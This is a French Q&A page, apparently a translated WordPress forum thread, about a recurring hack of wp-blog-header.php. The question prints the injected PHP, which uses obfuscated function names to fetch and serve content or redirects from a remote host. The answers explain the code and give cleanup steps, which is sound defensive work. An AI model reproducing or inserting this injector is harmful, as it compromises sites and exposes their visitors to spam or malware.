web-dev-qa-db-fra.com

Comment empêcher un robot de modifier un fichier?

Quelqu'un modifie quotidiennement notre fichier de site Web wp-blog-header.php.

Ils ajoutent ci-dessous le code qui génère automatiquement des pages inutiles sur notre site Web, le code est:

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
    basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
        (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

    $at = "base64_" . "decode";

    $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
    );

    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

    $ci = "curl_ex" . "ec";

    $data = $ci($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (strlen($data) > 255 && $code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || $code == 302)) {
        header("Location: " . trim($data), true, $code); exit;
    }
}

Comment pouvons-nous l'empêcher? J'ai enlevé hier le script ci-dessus et aujourd'hui il est encore là-bas.

J'ai mis le suivi dans .htaccess, mais cela n'a pas aidé:

<Files wp-blog-header.php>
deny from all
</Files>
2
Helping Hands

Je ne suis pas un expert en sécurité, mais le code que vous incluez dans votre question fait à peu près ceci:

  1. Vérifiez si la demande ne concerne pas une page statique (il ne peut rien y insérer)
  2. Vérifiez si la demande ne provient pas des robots racleurs Ahrefsbot et MJ12bot.
  3. Si les deux vérifications sont réussies, établissez une connexion avec le serveur à wpadminadmi.com (cela se produit sur la ligne commençant par $ch = curl_init)
  4. Récupérer du code de ce site.
  5. Incluez ce code ($data) dans votre site.

Votre site a donc été piraté et vous distribuez probablement des logiciels malveillants depuis votre site vers les appareils de vos visiteurs.

Votre question ne contient aucune indication indiquant où le programme malveillant pourrait se cacher dans votre propre site. Ce que vous voyez n'est pas le malware lui-même, mais un autre malware qu'il génère.

Le problème racine peut être n'importe où, allant d'un compte ftp compromis à un plugin/thème malveillant. Votre meilleure option est d’effacer le site et d’installer une sauvegarde. Si vous n'en avez pas, vous devrez passer par les mouvements .

3
cjbj

Le problème est plus important que votre solution tentée. Si vous bloquez la modification de ce fichier, ils peuvent simplement essayer de modifier un autre fichier. Il est évident que quelqu'un a piraté votre compte d'hébergement via un mot de passe FTP faible, une vulnérabilité de plugin, un code obsolète, etc.

Vous devez vous concentrer sur la fermeture, mais ils ont d'abord accès à votre système, puis nettoyez ce qu'ils ont fait.

Quelques bons premiers pas:

  1. Changez vos mots de passe. Oui, tous. FTP, SSH, admin WordPress, etc.
  2. Accédez à votre page de mises à jour WordPress dans WP admin et mettez à jour tout ce que vous avez trouvé.
  3. Analyser votre site pour le code piraté avec un plugin comme WordFence.
  4. Analysez votre site avec le scanner de vulnérabilité timthumb. Ceci est souvent la cause de piratages comme celui-ci sur des sites plus anciens. -> https://wordpress.org/plugins/timthumb-vulnerability-scanner/
2
Greg Burkett